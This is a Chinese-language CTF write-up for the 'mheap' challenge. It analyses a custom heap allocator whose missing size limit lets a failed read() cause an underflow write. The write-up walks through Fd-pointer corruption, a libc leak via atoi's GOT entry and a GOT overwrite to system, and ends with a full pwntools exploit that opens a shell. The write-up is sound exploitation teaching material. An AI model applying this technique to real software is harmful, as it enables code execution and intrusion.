保护
分析
-
程序首先分配一个 4096 大小的内存,内存基址指定为 0x23330000:
-
并自己实现了一套堆分配机制,类似于 fastbin ,通过逆向分析得其结构如下:
typedef struct Chunk{ int Size; Chunk *Fd; Chunk *Bk; }
-
分配大小以 16 字节对齐,并且没有大小限制,导致可以分配超出 0x23331000 的地址。漏洞由此而生,在后面的 read 函数在向非法地址写入数据时就会返回 -1 ,这样就可以向低地址溢出写。
-
可以通过溢出改写 heap_list 中的某一项指向 chunk 结构体(也就是指向 0x00000000004040D0 )。另外,在释放的时候,会将 heap_list 中指定位置的指针减去0x10加入到链表中;在分配的时候,会先遍历队列是否有同样大小的指针,有则返回这个指针加上0x10。
-
首先分配一个非常大的chunk0,再申请一个小的chunk1,这个小的chunk1就是我们要溢出修改的,注意此时并没有超出 0x23331000
-
然后释放掉小的chunk1,使其进入链表。
-
申请一个大的chunk2,超出 0x23331000 。
-
编辑chunk2,将溢出修改chunk1的FD指针为chunk结构体指针。
-
以上过程的写法:
heap_list=0x00000000004040E0 prev_chunk_list=0x00000000004040D0 atoi_got=elf.got['atoi'] Add(0,0xfb0,'\xaa'*0x20+'\n') Add(1,0x10,'\xbb'*0x10) Del(1) Add(2,0x40,p64(prev_chunk_list)+'\x00'*0x2f+'\n')
-
此时内存布局如下:
-
可见 chunk1.Fd已被篡改为指向chunk的结构体指针,只要再申请 0x23330fc0-0x10 大小的chunk即可得到 0x4040e0 地址,就可以泄露内存和任意地址写了。
-
后续写法:
Add(3,0x0000000023330fc0-0x10,p64(atoi_got)+’\n’)
-
此时内存布局:
完整EXP
from pwn import*
#context.log_level='debug'
p=process('./mheap')
elf=ELF('./mheap',checksec=False)
libc=elf.libc
def Add(idx,size,data):
p.sendlineafter('choice: ','1')
p.sendlineafter('Index: ',str(idx))
p.sendlineafter('size: ',str(size))
p.sendafter('Content: ',data)
def Del(idx):
p.sendlineafter('choice: ','3')
p.sendlineafter('Index: ',str(idx))
def Show(idx):
p.sendlineafter('choice: ','2')
p.sendlineafter('Index: ',str(idx))
def Edit(idx,data):
p.sendlineafter('choice: ','4')
p.sendlineafter('Index: ',str(idx))
p.send(data)
heap_list=0x00000000004040E0
prev_chunk_list=0x00000000004040D0
atoi_got=elf.got['atoi']
Add(0,0xfb0,'\xaa'*0x20+'\n')
Add(1,0x10,'\xbb'*0x10)
Del(1)
Add(2,0x40,p64(prev_chunk_list)+'\x00'*0x2f+'\n')
Add(3,0x0000000023330fc0-0x10,p64(atoi_got)+'\n')
Show(0)
libc_addr=u64(p.recv(6).ljust(8,'\0'))-libc.sym['atoi']
system=libc.sym['system']+libc_addr
success('libc_addr:'+hex(libc_addr))
success('system:'+hex(system))
Edit(0,p64(system))
p.sendline('/bin/sh')
p.interactive()
总结
- read 函数写入非法地址时会返回 -1 ,但是程序并不会 crash 。